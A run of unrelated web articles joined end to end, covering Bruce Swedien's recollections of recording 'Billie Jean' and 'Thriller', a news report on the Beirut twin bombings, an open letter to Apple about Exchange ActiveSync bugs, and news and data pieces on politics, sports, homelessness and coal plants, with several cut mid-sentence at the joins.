I recorded the drums (played by my pal N’Dugu) with as tight and powerful a drum sound as I could. Of course I put N’Dugu’s drum set on my plywood drum platform. Also at this time, I had a special kick drum cover made that covers the entire front of the kick drum. There’s a slot in the cover with a zipper, where the mic fits through. When the kick drum mic is in place, in the slot in my drum cover, I zip the opening tight around the mic. I brought in my good friend George Massenburg’s spectacular sounding, portable, 12-channel mixing console, and used it to record the rhythm section. With it I recorded the bass, drums, and guitars on my analog 16-track, with no noise reduction equipment in the way of that fantastic sound.
“Billie Jean” may be the most personal song that Michael has ever written: a guilt-inspired paternity drama influenced by Michael’s run-ins with delusional female fans. “Billie Jean” is such a superb song. Michael told us: “It’s about a girl that climbed over the wall at my house, and was lounging out there, by the swimming pool. She was laying out there, near the pool, lounging – hangin’ out – with shades on, in her bathing suit.“ One morning she just showed up! She had accused Michael of being the father of one of her twins. Is that possible? I don’t think so.
“Billie Jean” was released in January 1983. The song topped the Billboard Hot 100 for seven weeks. It held the No. 1 spot on the R&B chart for nine weeks and sold more than a million singles. “Billie Jean” destroyed MTV’s color line. “Billie Jean” also saw a former kid singing star coming of age. This was the moment when he blossomed into the late 20th century’s dominant pop icon, Michael Jackson. “Billie Jean” is a song that, to this day, remains one of the most sonically arresting songs ever on Top 40 radio. In 1983 no one had ever heard anything quite like it.
“When we recorded “Billie Jean,” Quincy told me, “Svensk, this piece of music has to have the most unique sonic personality of anything that we have ever recorded.” I had Michael sing some of his vocal overdubs through a five-foot-long cardboard tube. Quincy brought in jazz saxophonist Tom Scott to play a very unusual instrument, the Lyricon, a wind-controlled analog synthesizer whose unique, trumpet-like lines are subtly woven through the track. Bassist Louis Johnson played a Yamaha bass with an ideal sound for “Billie Jean.”
I think it was Michael’s dancing, as much as his singing, that propelled the “Billie Jean” phenomenon. On May 16, 1983, more than 50 million viewers watched Michael debut his famous moonwalk in a mesmerizing performance on the Motown 25 television special. I don’t know about you, but I have never seen anything like that on television before or since. Then there was the “Billie Jean” video, in which Michael dances through a fantasy cityscape, with a sidewalk that lights up like a disco floor underfoot.
MTV almost never aired videos by black performers, and when they refused to show “Billie Jean,” CBS Records president Walter Yetnikoff went ballistic. He said to MTV, “I’m pulling everything we have off the air, all our product. I’m not going to give you any more videos. And I’m going to go public and tell them about the fact you don’t want to play music by a black guy!”
The Vincent Price rap on “Thriller”
When I begin reminiscing about recording the song “Thriller,” one of the first things that comes to mind is the Vincent Price rap. Quincy’s wife, Peggy Lipton, knew Vincent Price. So Quincy and Peggy got it together and called him. Vincent said he would love to do it. I remember Rod’s idea, at first, was that Vincent would just talk some horror talk – the type of lines he would deliver in some of his famous roles. Well, the night before the session with Vincent Price, I remember Quincy and Rod on the phone, talking excitedly about something to do with Vincent’s part in “Thriller.” I was getting the track ready for Vincent to overdub on, so I only overheard bits and pieces of Quincy and Rod’s conversation.
The next day at about 12:00 noon, Quincy showed up at the studio, looking like the cat that swallowed the canary! Q looked at me and said, “Svensk, Vincent Price is going to be here at 2:00 p.m.! Rod is writing Vincent’s rap in the taxicab on the way here to the studio!” Quincy told me, “I don’t think that Vincent has ever been on a pop record before. This should be interesting.” I get chills just thinking about it.
The next thing I knew, Rod came roaring into the control room with several sheets of paper in one hand, and a Marlboro cigarette with a two-inch ash ready to fall over the floor, in his mouth. Out of breath, Roddy said to me, “Bruce, quick – he’s here! I saw a car pull up, and it was Vincent Price! He’s on his way in!” He thrust the papers into my hand and said, “Give these to the secretary – have her photocopy these quick!” This was done, we put the “Thriller Rap” lyrics on the music stand. Vincent walked in, sat down on his chair, off he went, and it was all done in about two hours.
I used the same microphone setup as I used on Michael: my favorite Shure SM-7. Vincent Price had never used earphones in his work before. He reluctantly put them on, and when the music track for “Thriller” started, he jumped up from his stool with a very startled look on his face. I know he had never heard anything like that before. He asked Rod Temperton to come out in the studio with him and help him by cueing him where to come in and speak his verses. Rod actually wrote three verses for Vincent to do for “Thriller.” We recorded all three but only used two. I have that unused verse in my tapes somewhere.
Vincent experienced a huge resurgence in his career, commensurate with the incredible success of “Thriller.” About six months after the release of “Thriller,” Vincent appeared on the Johnny Carson Tonight Show. He talked about being in Paris, walking down the street and having a group of young people recognize him and chase him down the street to get his autograph.
To me, the miraculous thing about the Vincent Price rap on “Thriller” is that Rod Temperton wrote a brilliant Edgar Allan Poe–style spiel in the taxicab on the way to the session! When the chips are down, that’s when you find out what true genius is all about! Of course, speaking of unquestionable genius, Vincent’s performance was remarkable. Obviously, Vincent Price was in his element on “Thriller” – timing, inflection – and he did it in two takes! Michael’s vocals are more than wonderful as well. What an experience.
Get In The Studio With Michael Jackson by Bruce Swedien at HalLeonardBooks.com.
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How To Record A Great Vocal Take
Virtual synths and the art of imperfection
This is the Remix – Eight Tips on Reinventing Your MusicAmong those killed are man who threw himself at second bomber as relatives decry Isis attackers: ‘May they get worse than what happened to us’
A three-year-old Lebanese boy orphaned in the deadly twin suicide blasts that ripped through a southern neighborhood of Beirut is not likely to remember much of the explosion that killed his parents, but the pain and terror of the previous night were etched on his face on Friday.
Haider was sitting in his mother’s lap in the front seat of the family’s SUV as his father, Hussein Mustafa, was parking the car on Thursday evening near his grandparents’ home in the predominantly Shia neighborhood of Burj al-Barajneh.
At that moment, the first suicide bomber detonated his explosives vest outside a nearby Shia mosque. The densely populated district is part of the southern suburb of Beirut known as Dahyeh, where the militant Hezbollah group holds sway.
Haider’s parents died instantly while the boy was taken to the Hezbollah-run Rasoul al-Aazam hospital, where he was being treated for injuries to his right eye and minor burns to his hand.
“His mother was hugging him as she died,” said Haider’s cousin, Adraa Taleb, who held back tears as she sat next to his hospital bed. The boy was one of seven children being treated at the hospital from the bombings.
Dr Mahmoud Mansour, who heads the hospital’s emergency department, said that 22 bodies, including one of a child, and 87 wounded people were brought to the hospital after the bombings.
“We scrambled to try to treat most of the cases, many of whom were serious,” Mansour told the Associated Press at the hospital.
The blasts on Thursday night, which included a second suicide bombing minutes later, turned the Shia district into a nighttime inferno, killing at least 43 people and wounding more than 200 others.
The extremist Islamic State group quickly claimed the attack, which shattered a relative calm that has held for more than a year despite the civil war raging next door in Syria.
On Friday, forensic science experts dressed in white were working in the area of the blast, which was sealed off by security forces. Residents and shop owners swept up broken glass and other debris from the scene of the attacks.
“They are people without conscience. May they get worse than what happened to us,” said Nazmiyeh Tarif, whose cousin Adel Termos died in the second bombing.
Local media reports said that Termos threw himself at the second suicide bomber after he spotted him approaching crowds gathered outside the mosque targeted by the first bomber.
At the Rasoul al-Aazam hospital, people turned up on Friday to collect the bodies of their loved ones. Some fired into the air with automatic rifles outside the hospital, a typical sign of mourning in Lebanon.
Another child being treated at the hospital, eight-year-old Hussein al-Shami, said he was riding on a motorcycle with his father, Ibrahim, when the explosion knocked them off the bike.
“Even my father started weeping,” said the boy, adding that he was sad their motorcycle was badly damaged.
Security was much tighter than usual at entrances to Beirut’s southern suburbs, and soldiers at army checkpoints asked for people’s IDs and searched cars. Black-clad Hezbollah security men guarded the Rasoul al-Aazam hospital, protected by blast walls.
The prime minister, Tammam Salam, chaired a security meeting to discuss the bombings, with participants observing a moment of silence for the dead.
“The barbaric crime that took place in Burj al-Barajneh did not target just one region or sect but all of Lebanon from one end to the other,” Salam said.
Lebanon, a small Mediterranean country with a history of civil war, has seen deadly spillovers from the Syrian conflict including a wave of bombings and suicide attacks in 2013 and 2014. But Thursday’s twin blast was the first since mid-2014 and took people by surprise. It was also one of the deadliest bombings to hit the country since the end of its 1975-1990 civil war.
Previous explosions have also targeted Shia-populated areas of Lebanon and have been claimed by militants who say it was payback for Hezbollah’s participation in the Syrian civil war. The group has been fighting in Syria along with President Bashar Assad’s forces.
There were also reports of a third attacker on Thursday night, who wore an explosives vest but who was killed in the second blast before he could blow himself up. His body was found with the vest intact.[note to readers: I encourage you to repost, retweet, and otherwise spread this offer. It’s legit; I am happy to help Apple in any way that I can. Since I don’t have any Apple execs on speed dial, perhaps social media will get this to the right folks. ]
Dear Mr. Cook:
We’ve never met. You’ve almost certainly never heard of me. But I’m going to make you an offer that I hope you’ll accept: I want to help you quit making such a mess of the world’s Exchange servers. More to the point, I want to help the iOS Exchange ActiveSync team clean up their act so we don’t have any more serious EAS bugs in iOS. The meeting hijacking bug was bad enough, but the latest bug? the one that results in Exchange servers running out of transaction log space? That’s bad for everyone. It makes your engineers look sloppy. It makes Exchange administrators into the bad guys because they have to block their users’ iOS devices.
These bugs make everyone lose: you, Microsoft, and your mutual users. They’re bad for business. Let’s fix them.
You might wonder why some dude you’ve never heard of is making you this offer. It’s because I’m a long-time Apple customer (got my first Mac in 1984 and first iPhone on launch day) and I’ve been working with Exchange for more than 15 years. As a stockholder, and fan, of both companies, I want to see you both succeed. Before there was any official announcement about the iOS SDK, I was bugging John Geleynse to let 3Sharp, my former company, help implement Exchange ActiveSync on the phone. He was a sly devil and wouldn’t even confirm that there would be an EAS client for the phone, but the writing was on the wall– the market power of Exchange Server, and the overwhelming prevalence of EAS, made that a foregone conclusion.
I’m an experienced developer and a ten-time Microsoft Most Valuable Professional for Exchange Server. I have experience training developers in Exchange Web Services, and I know EAS well; in fact, I was an expert source of evidence in the recent Google/Motorola vs Microsoft case in the UK. As a long-time member of the Exchange community, I can help your developers get in touch with experts in every aspect of Exchange they might want to know about, too.
It’s pretty clear that your EAS client team doesn’t know how Exchange client throttling works, how to retry EAS errors gently, or all the intricacies of recurring meeting management (and how the server’s business logic works). If they did, the client wouldn’t behave the way it has. They could learn it by trial and error… but look where that’s gotten us.
I’m in Mountain View, right up the road. Seriously. Have your people call my people.
Peace and Exchange 4eva,
-Paul
AdvertisementsSome European banks plan to tap the European Central Bank's emergency funding program for up to twice as much as the ECB supplied in its EUR489 billion ($643 billion) auction last month, the Financial Times newspaper reported Monday on its website, citing unnamed bank executives.
"Banks are not going to be as shy second time round," the report quoted the head of one eurozone bank as saying at last week's World Economic Forum in Davos, Switzerland. "We should have done more first time."
The report said several of the eurozone's biggest banks have told the newspaper they might double or triple their request for funds in the ECB's three-year money auction Feb. 29.
Three bank chief executives, who asked to remain anonymous, said they were planning to increase their participation twofold or threefold, the report said.
Full story: http://www.ft.com/intl/cms/s/0/09ab9542-4b6d-11e1-b980-00144feabdc0.html#axzz1kzK ZlLxBreaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Oct. 30, 2017, 10:12 PM GMT / Updated Oct. 30, 2017, 10:34 PM GMT By Gabe Gutierrez and Daniella Silva
SAN JUAN, Puerto Rico — Puerto Rico is calling on some old friends in the wake of the Whitefish Energy deal debacle.
Gov. Ricardo Rosselló told NBC News on Monday that “mutual aid agreements” with the states of New York and Florida "are going to be critical" in ongoing efforts to restore power to the hurricane-ravaged island after the fallout from the canceling of a contract with Whitefish Energy Holdings.
“I was just on the phone with Governor Cuomo who has been very helpful in this situation, as well as Gov. Scott,” he said, referring to Andrew Cuomo of New York and Rick Scott of Florida.
Rosselló said that Cuomo told him New York has "more than 100 brigades" that can be made available as soon as the agreements can be worked out, "which we are working all day today to make sure we have them as quickly as possible."
Such interstate arrangements are common among utilities after emergencies.
Rosselló said the decision to cancel the $300 million no-bid contract with Whitefish, a small Montana company with links to Interior Secretary Ryan Zinke, was in the best interest of Puerto Ricans and that the mutual aid agreements with states were an alternative.
The governor said that his goal was not to set back ongoing restoration efforts as a result of the move to cancel the contract. As of Monday, Puerto Rican officials said there was only about 30 percent of power generation on the island.
“My aim is not to do that — in fact quite the opposite, actually increase the urgency to getting more brigades over here,” he said. “That is why the mutual aid assistance from the state of New York and from the state of Florida are going to be critical.”
Crews work to repair power transmission towers in Guayama, Puerto Rico, on Oct. 28. Ricardo Arduengo / AFP - Getty Images
Rosselló also reiterated criticism of the U.S. Army Corps of Engineers for not meeting its power restoration goals. The agency, which was not involved in the Whitefish deal, has been tasked with helping the Puerto Rico Electric Power Authority (PREPA) with immediate power restoration efforts.
During a news conference later Monday, Rosselló said mutual aid was not brought in earlier because the indebted power authority was given the option of going with the Army Corps with a 100 percent cost-sharing plan. He said the agency proposed to have much of the electrical grid back within 45 days.
"I have to say that there is very little action on the part of the Corps of Engineers to elevate this energy grid," he said.
"It is 30 days after signing the contract and we have seven brigades from the Corps of Engineers here in Puerto Rico right now. Compare that to 410 brigades from the power authority working with the group," he said.
The head of Puerto Rico's power authority moved on Sunday to cancel the controversial contract with Whitefish Energy just hours after the governor urged the board to scrap the deal.
Related: Puerto Rico Power Authority Moves to Cancel Whitefish Contract
Criticism had mounted over how and why the company from a landlocked state secured the major contract to restore power to the island. Company CEO Andy Techmanski is from Whitefish, Montana, the hometown of Secretary Zinke. Techmanski has denied that Zinke or anyone else in the Trump administration had anything to do with his securing the contract.
And Zinke said in a statement Friday that "I had absolutely nothing to do with Whitefish Energy receiving a contract in Puerto Rico" and any suggestions of involvement or influence "are completely baseless."
But a statement from his office acknowledged that the Zinke and the Techmanski families know each other because Whitefish is a small town and Zinke's son had even worked a summer job at one of the company's construction sites.
Related: Power Returns in Utuado, Puerto Rico
Techmanski disputed reports that Whitefish only had two full-time employees when Hurricane Maria made landfall on Sept. 20, saying the company had 20 to 40 full-time employees working projects in Arizona, Montana and Washington State.
Workers from Montana-based Whitefish Energy Holdings help to fix the island's power grid in Manati, Puerto Rico, on Oct. 25. Alvin Baez / Reuters
Whitefish Energy said in a statement Sunday evening that it was "very disappointed" that the governor had asked PREPA to cancel the contract and that the decision "will only delay what the people of Puerto Rico want and deserve — to have the power restored quickly in the same manner their fellow citizens on the mainland experience after a natural disaster."
Officials from both parties and lawmakers on the ground in Puerto Rico had called for an investigation into the deal, which is being audited at both the local and federal level.
Whitefish spokesman Ken Luce confirmed Monday to NBC News that it had hired the lobbying firm Foley & Lardner to represent it in Washington. The main lobbyist will be Dennis Cardoza, a former Democratic congressman from California.
PREPA CEO Ricardo Ramos said Sunday afternoon that the cancellation will not stop any work the company currently has in progress, but could delay other grid-restoration efforts by 10 to 12 weeks. He also said it would cost PREPA additional money to get out of the contract.
People try to use their mobile phones in Dorado, Puerto Rico, on Oct. 29. Alvin Baez / Reuters
Puerto Rico has already paid the company more than $10 million, Ramos said.
On Sunday, Rosselló said he had initiated the process of moving forward with mutual aid programs with the states of New York and Florida.
A spokeswoman with the American Public Power Association, which helps coordinate the mutual aid network among the nation’s public power utilities, said Monday that the group had not yet received a request for mutual aid from Puerto Rico but that territories could work directly with local governments to secure that aid.
“We have definitely offered help, but we could not actually begin to activate anything until we knew the specifics, knew what they wanted, et cetera,” said Meena Dayak, vice president of integrated media and communications with the APPA.The man who Donald Trump nominated to be a federal judge in Texas once said transgender children are evidence of “Satan’s plan.”
“In Colorado, a public school has been sued because a first grader and I forget the sex, she’s a girl who thinks she’s a boy or a boy who thinks she’s a girl, it’s probably that, a boy who thinks she’s a girl… And the school said, ‘Well, she’s not using the girl’s restroom.’ And so she has now sued to have a right to go in. Now, I submit to you, a parent of three children who are now young adults, a first grader really knows what their sexual identity? I mean it just really shows you how Satan’s plan is working and the destruction that’s going on.”
Jeff Mateer, who currently serves as the First Assistant Attorney General of Texas, also said he supported gay-straight conversion therapy.
“Biblical counselors and therapists, we |
from NCAA schools (source: MLB Draft Tracker 2017). Of the 735, Division I student-athletes comprised 650 of those chosen, Division II provided 73 and Division III had 12.
Percent NCAA to Pro calculated as number of NCAA student-athletes taken in the draft (n=735) divided by the approximate number draft eligible. Not all of the student-athletes drafted go on to play professional baseball and many draftees fail to reach the Major League.
Men’s basketball
NBA draft data from 2017. There were 60 draft slots in that year and 50 went to NCAA players (others chosen were international players not attending U.S. colleges). Percentage NCAA to Major Pro calculated using the 50 NCAA selections. Since 2006, 12 international players have been drafted on average each year.
On 2017-18 opening day NBA rosters, former NCAA players filled 83% of roster spots (all from Division I schools). (Source: Jim Sukup, College Basketball News).
Data on other professional opportunities in men’s basketball were collected by NCAA staff with the assistance of Marek Wojtera from eurobasket.com. Tracking 2016-17 international opportunities for the 2016 draft cohort, it was determined that an additional 751 former NCAA student-athletes played internationally, in the NBA D-League, or in the NBA as undrafted players (535 from Division I, 181 from Division II and 35 from Division III) after leaving college; this includes international players who attended NCAA institutions. These numbers were combined with the NBA draftees to calculate an approximate NCAA to Total Professional opportunities figure (calculated as [50 + 751] / 4,158 = 19%).
We estimate that 4.1% of draft-eligible Division I players were chosen in the 2017 NBA draft (50 / 1,219). However, in total, 48% of draft-eligible Division I players competed professionally (NBA, D-League, or internationally) in their first year after leaving college (calculated as [50 + 535] / 1,219). Approximately 18% of draft-eligible players from the five Division I conferences with autonomous governance (ACC, Big Ten, Big 12, Pac-12 and SEC) were drafted by the NBA in 2017 (40 / 225), while 77% played professionally somewhere in their first year post-college (calculated as [40 + 134] / 225).
Women’s basketball
WNBA draft data from 2017. There were 36 draft slots in that year’s draft, 34 of which went to NCAA players (other selections were international players not attending U.S. colleges). All 34 NCAA selections came from Division I colleges. Percentage NCAA to Major Pro calculated using the 34 NCAA selections.
Data on international professional opportunities in women’s basketball were collected by NCAA staff with the assistance of Marek Wojtera from eurobasket.com, and are limited to the 2016 draft cohort. It was determined that an additional 146 former NCAA student-athletes from the cohort played internationally in 2016-17 (131 from Division I, 14 from Division II and 1 from Division III). These numbers were combined with the WNBA draftees to calculate an approximate NCAA to Total Professional opportunities figure (calculated as [34 + 146] / 3,674 = 4.9%).
We estimate that 3.1% of draft-eligible Division I players were chosen in the 2017 WNBA draft (34/ 1,111). However, in total, 15% of draft-eligible Division I players competed professionally (WNBA or internationally) in their first year after leaving college (calculated as [34 + 131] / 1,111). Approximately 14% of draft-eligible players from the five Division I conferences with autonomous governance (ACC, Big Ten, Big 12, Pac-12 and SEC) were drafted by the WNBA in 2017 (28 / 202), while 30% played professionally somewhere in their first year post-college (calculated as [28 + 33] / 202).
Football
NFL draft data from 2017. There were 253 draft picks in that year’s draft, all of whom were former NCAA players. NCAA to Major Pro figure calculated using these data.
NCAA divisional breakdown of the 253 NCAA players selected in the 2017 NFL draft: Division I FBS (233), Division I FCS (14), Division II (6). The five football conferences with autonomous governance accounted for 183 of the 253 NCAA draft picks (SEC=53, ACC=45 [includes Notre Dame], Pac-12=36, Big Ten=35, Big 12=14).
Data on Arena League and Canadian Football League opportunities were collected by NCAA staff via rosters on each organization’s website (sources: cfl.ca and arenafootball.com) in February 2018. Due to the timing of each league’s season, the 2016 draft cohort was used to estimate unique playing opportunities in the Arena League, while the 2017 draft cohort was used to track CFL rookies. It was determined that an additional 62 former NCAA student-athletes from those draft cohorts were listed on a roster (62 in the CFL, 0 in the Arena League). In the CFL there were 34 former Division I FBS players, 13 from Division I FCS, 13 from Division II and 2 from Division III. These numbers were combined with the NFL draftees to calculate an NCAA to Total Professional opportunities proportion (calculated as [253 + 62] /16,236 = 1.9%).
We estimate that 3.9% of draft-eligible Division I players were chosen in the 2017 NFL draft (247 / 6,254). Limiting this calculation to subdivision, 6.9% of FBS players were estimated to be drafted (233 / 3,398), as compared to 0.5% of FCS players (14 / 2,856). Narrowing further to the five Division I conferences with autonomous governance (ACC, Big Ten, Big 12, Pac-12 and SEC), we estimate that 11% were drafted (183 / 1,735). Accounting for Arena League and CFL opportunities, the NCAA to Total Professional figures are estimated as 4.7% for Division I ([247+ 47] / 6,254), 7.9% for FBS ([233 + 34] / 3,398) and 12% for the five autonomous conferences ([183 + 19] / 1,735).
Men’s ice hockey
NHL draft data from 2017 (source: hockeydb.com). There were 217 draft picks in that year. Only 5 players from NCAA rosters were selected in that draft (all from Division I teams). However, this is not indicative of the likelihood of going from a college team to a professional team due to the nature of the NHL draft, where players are typically selected prior to college enrollment.
In examining the subsequent hockey pathways of 2017 draftees (hockeydb.com), College Hockey, Inc. reported that 60 of the 217 (source: collegehockeyinc.com) were current student-athletes or committed recruits at NCAA colleges. These numbers, although not fully comparable to those used in the other sports examined, were used to calculate an approximate NCAA to Major Pro percentage. Note that only a small subset of players drafted ever plays in an NHL game. Undrafted college players may go on to sign contracts with NHL teams after completing college (those numbers are not part of the current NCAA to Major Pro calculation).
In 2018, 31% of players on active NHL rosters played college hockey (all Division I), up from about 20% in the year 2000 (source: collegehockeyinc.com). 67% of former college players in the NHL played at least three college seasons, and 33% played all four. Thanks to Nate Ewell at College Hockey, Inc. for providing these data.
Men’s soccerBTS member Jimin will not be performing choreography at the group’s concert in Macau.
On November 4, Big Hit Entertainment released an official statement, saying, “We are writing to inform you that Jimin will not be participating in some performances at today’s concert of BTS’s ‘WINGS’ tour.
“Yesterday on November 3, Jimin experienced some cramps in his neck and shoulder while flying over to Macau. Immediately upon arrival, he was taken to a local emergency room to undergo some medical examinations and treatment.
“After going through another checkup this morning, there were no abnormal findings but we were told that Jimin should avoid any strenuous physical activity. Therefore, Jimin will not be participating in performances with choreography, along with some other stages.
“We sincerely apologize for causing worry among fans who’ve been waiting for their Macau concert. Thank you.”For Homeless, A Home May Be The Best Rehab
Enlarge this image toggle caption Linda Kaufman Linda Kaufman
Richard Corbett has been homeless for long periods of time. He has struggled with depression and alcoholism. But he says he doesn't drink very often anymore and only moderately when he does. When he lived on the scary streets and in shelters, he says, he would drink just to fall asleep.
The difference, Corbett says, is that now he has a permanent place to live and that makes him feel safe. He says he no longer has "to worry about being hit in the night with a brick upside the head and being robbed."
Housing First
Corbett, 61, lives in a sparse, two-room apartment with high, white ceilings in a solid row house in Washington, D.C. Staff at Pathways to Housing found him in a shelter and moved him into this building and then got him counseling, even though he was still drinking heavily at the time. That's a new way of trying to help the chronically homeless. It's a philosophy called "Housing First."
The traditional way to help chronically homeless people has been to get them into a temporary shelter where they can work on getting sober or dealing with a psychiatric illness. Only once that hard work is done are they considered ready for permanent housing.
Housing First turns all that upside down. It finds the permanent place to live first. It doesn't matter if the homeless person is still drinking or using drugs, because having a home is considered therapeutic by itself. Case workers are then around to help the person address the problems that caused him or her to be homeless.
Now a study in the Journal of the American Medical Association offers new support to the Housing First approach that helped Richard Corbett.
A Success Story
Mary Larimer, a clinical psychologist at the University of Washington, chose to study a 75-unit apartment building for homeless people in Seattle because it used a Housing First approach — and because it had created controversy.
"The controversy is that there are a number of individuals who feel that it's important to use housing as a carrot," Larimer says. "And that by housing people who are not yet ready or able to stop their addictive behaviors and allowing them to continue to drink alcohol... that we would be reducing their chances of sobriety or in some ways would be enabling them."
Larimer and her co-researchers studied the people who lived at a building called 1811 Eastlake. It takes on some of the hardest homeless people to help: Those constantly on the streets and drunk. The research found that their drinking dropped steadily over the first year they had their own apartments, from, on average, about 16 drinks a day to about 11.
That's still a lot of alcohol. But even a small drop made a big difference. The study tracked down records of the time they spent in detox, in hospitals and jail. The researchers also compared how much government spent on them compared with those still living on the streets. Larimer found the cost savings were enormous: about $2,500 less per person per month.
"Ultimately abstinence is the safest goal and the desirable goal," she says. "I also think that there are people who are not in a position to obtain abstinence immediately. And that certainly people's chances of becoming abstinent are a lot better when they are in a warm, safe environment and they have lots of caring people and services available to them immediately."
New Sense Of Dignity
Back at his home, Corbett points out the pots in the front yard where he and his landlord are getting ready to plant flowers. "I'm in a much better place than before I got this place," he says. "It's a feeling of respect and dignity that I didn't have before."
Most programs for homeless people don't use a Housing First model. But it's an approach that has spread in recent years to more than a dozen major U.S. cities.Mexican President Enrique Peña Nieto talks to U.S. President Donald Trump and his wife, Melania, on the first day of the G-20 economic summit on July 7 in Hamburg, Germany. Felipe Trueba - Pool / Getty Images
It has long been obvious to everyone but the most credulous rubes that Mexico was not going to pay for Donald Trump’s border wall. The leaked transcript of Trump’s Jan. 27 phone call with Mexican President Enrique Peña Nieto—published Thursday by the Washington Post, along with a leaked transcript of a call with Australian Prime Minister Malcolm Turnbull—shows that this was obvious to Trump as well.
Throughout his bombastic campaign, Trump presented himself as a tough and skilled negotiator who could extract concessions from recalcitrant foreigners. Many Americans who knew Trump from The Apprentice and who mistook reality TV for reality believed him. But once Trump got on the phone with Peña Nieto, he neither made demands nor offered an ingenious deal that the Mexican president couldn’t refuse. Instead, he wheedled for help in getting better press coverage, which has always been what he cares about most.
“I am willing to say that we will work it out, but that means it will come out in the wash and that is okay. But you cannot say anymore that the United States is going to pay for the wall,” Trump tells Peña Nieto. As the conversation proceeds, though, Peña Nieto is unyielding: “[M]y position has been and will continue to be very firm saying that Mexico cannot pay for that wall.” Trump doesn’t try to convince him otherwise. He simply says, “But you cannot say to that to the press. The press is going to go with that and I cannot live with that.”
It’s hard to know whether the Trump rallygoers who screamed about Mexico paying for the wall will find this disillusioning. Many probably won’t learn that Trump has essentially admitted to conning them. A July poll showed that only 45 percent of Trump voters believe that Donald Trump Jr. met with Russians for information about Hillary Clinton, a fact that is not in dispute. But for anyone who cares to pay attention, Trump’s mortifying conversations with foreign leaders should put to rest the idea that the putative author of The Art of the Deal is any good at dealmaking.
Further, we can see from the transcripts that part of the reason Trump is such a bad negotiator is because of his extreme narcissism. When I went to Trump rallies during the presidential campaign, I would often meet people who knew that their candidate was an unpleasant person but believed his cartoon swagger would make him an effective leader. But Trump can’t make deals because he can’t see other people clearly, can’t understand their desires, incentives and constraints. He doesn’t seem to realize, for example, that he is deeply hated in Mexico—as he is almost everywhere—and that Peña Nieto has no interest in helping him burnish his image. Peña Nieto tells him that opposition to the wall is about the “dignity of Mexico and goes to the national pride of my country.” Trump, however, is incapable of empathizing with another’s wounded pride, much less trying to salve it. “It is you and I against the world, Enrique, do not forget,” Trump says, appearing to believe, as he so often does, that the leader of a nation he has repeatedly insulted nevertheless likes and respects him.
Something similar happens in Trump’s conversation with Turnbull. The Australian prime minister expected Trump to abide by an Obama administration agreement to begin the process of resettling refugees who tried to reach Australia by boat, and who are currently being held in prisonlike conditions on Nauru and Manus Island. As part of this agreement, Australia agreed to take refugees who tried to reach the United States from Central America. Australia’s aim has been to end the humanitarian crisis on Nauru and Manus Island, which was becoming an international embarrassment, without encouraging other migrants to attempt the boat journey. Trump wanted to back out of the agreement because he thought it made him look bad. “Malcom [sic], why is this so important?” he asks, according to the transcript. “I do not understand. This is going to kill me. I am the world’s greatest person that does not want to let people into the country.”
It would have taken approximately five minutes for a reasonably competent negotiator to be briefed on why this issue was important to Turnbull, who campaigned on stopping refugee boat traffic to Australia. Turnbull tried to explain what he was willing to give in return: “Basically, we are taking people from the previous administration that they were very keen on getting out of the United States. We will take more. We will take anyone that you want us to take. The only people that we do not take are people who come by boat.” If Trump had the slightest idea of his interlocutor’s interests, he could have made a deal that would actually advance his own anti-immigrant policy goals. Instead, he whines about his image. “I look so foolish doing this,” he says. And then, growing increasingly irate, he adds, “I have been making these calls all day and this is the most unpleasant call all day. Putin was a pleasant call. This is ridiculous.” It is indeed.After falling to Auburn in the Iron Bowl, Alabama coach Nick Saban says he's not sure about the playoff scenarios involved, but the Tide have accomplished a lot over the season to be considered. (0:34)
AUBURN, Ala. -- Nick Saban believes Alabama still should be in consideration to reach the College Football Playoff.
Saban's playoff jockeying began just moments after his No. 1-ranked Crimson Tide were handed their first loss of the season, a 12-point defeat on the road to rival and No. 6-ranked Auburn. By losing, Alabama finished second in the SEC West and won't compete for the conference championship against Georgia next Saturday.
"I think this team deserves an opportunity to get in the playoff by what they've been able to accomplish and what they've been able to do," Saban said after the game. "Certainly not maybe in this game, but I think the team we played tonight is a very good football team, probably one of the best teams in the country.
"They won 11 games, and not many teams are able to do that. I really don't know what all the scenarios might be where we'd have an opportunity to do it, but I'd certainly like to see this team get an opportunity to do it."
Entering the weekend, Alabama was one of two unbeaten Power 5 programs, along with Wisconsin, and it was No. 2 in ESPN's strength of record metric and No. 1 in game control. But against Auburn, the wheels came off. Alabama fumbled three times, including a botched field goal, and allowed more than 400 total yards of offense in a 26-14 defeat.
Nick Saban's Crimson Tide finished second in the SEC West and will not play in next Saturday's conference title game. AP Photo/Brynn Anderson
For Alabama to have a shot at reaching the playoff, a few dominoes would need to fall -- Wisconsin losing to Ohio State in the Big Ten title game and Oklahoma losing to TCU in the Big 12 title game, to name a couple of possibilities.
When asked whether he shared Saban's opinion about making the playoff, senior center Bradley Bozeman said it's "up to the committee."
"That's not for me to say," he said. "Us guys, we play our butts off. Whatever chance we get, we'll take full advantage of it."LOS ANGELES (Reuters) - Cancellation of a coal-fired power plant in Michigan announced on Friday brings to 97 the number of plants scuttled since 2001, said the Sierra Club, an environmental group that opposes coal plants because they are major emitters of gasses blamed for global warming.
Plans remain active for only 59 of the 220 coal coal-fired plants planned and in various stages of permitting since 2001, said Bruce Nilles, head of the Sierra Club’s campaign to eliminate coal-fired power plants in the United States.
In 2008, 24 coal projects were canceled, according to Sierra Club’s count. This year, nine plants have been dropped.
The rest are “on ice” and will likely never be built, Nilles said.
The Sierra Club wants existing coal-fired power plants to be replaced by cleaner power, but the U.S. Department of Energy’s statistical arm expects coal to provide the largest share U.S. electric generation for years.
Coal is expected to fuel 47 percent of generation in 2030, down just 2 percentage points from 49 percent in 2007, the Energy Information Administration (EIA) said in its 2009 Annual Energy Outlook. Overall, electricity from coal-fired plants in 2030 would be 19 percent higher than in 2007.
New coal-fired capacity will be limited by concerns about greenhouse gas emissions and the potential for mandated limits, but EIA noted that existing plants will keep operating.
Other factors besides environmental worries are working against coal plants: higher construction costs and lower prices for natural gas, a cleaner alternative for generation.
The recession also has hurt prospects for a number of abandoned coal projects, including the Michigan plant scuttled on Friday by LS Power.
Renewable power will not keep pace with growing demand, even if energy efficiency programs succeed, said Jim Owen, spokesman for Edison Electric Institute, an industry lobby.
He noted that the nine plants that have been scuttled in 2009 would have generated about 6,650 megawatts of power — enough to serve almost 5 million homes.
Owen said the power industry hopes to advance so-called clean coal technologies that include capturing CO2 emissions for underground storage.
“We must deal with higher demand for power and carbon constraints,” he said.
Owen said the recession has cut into electricity demand, but he expects that within a few years, power demand will match annual U.S. GDP growth of 2 percent to 3 percent.
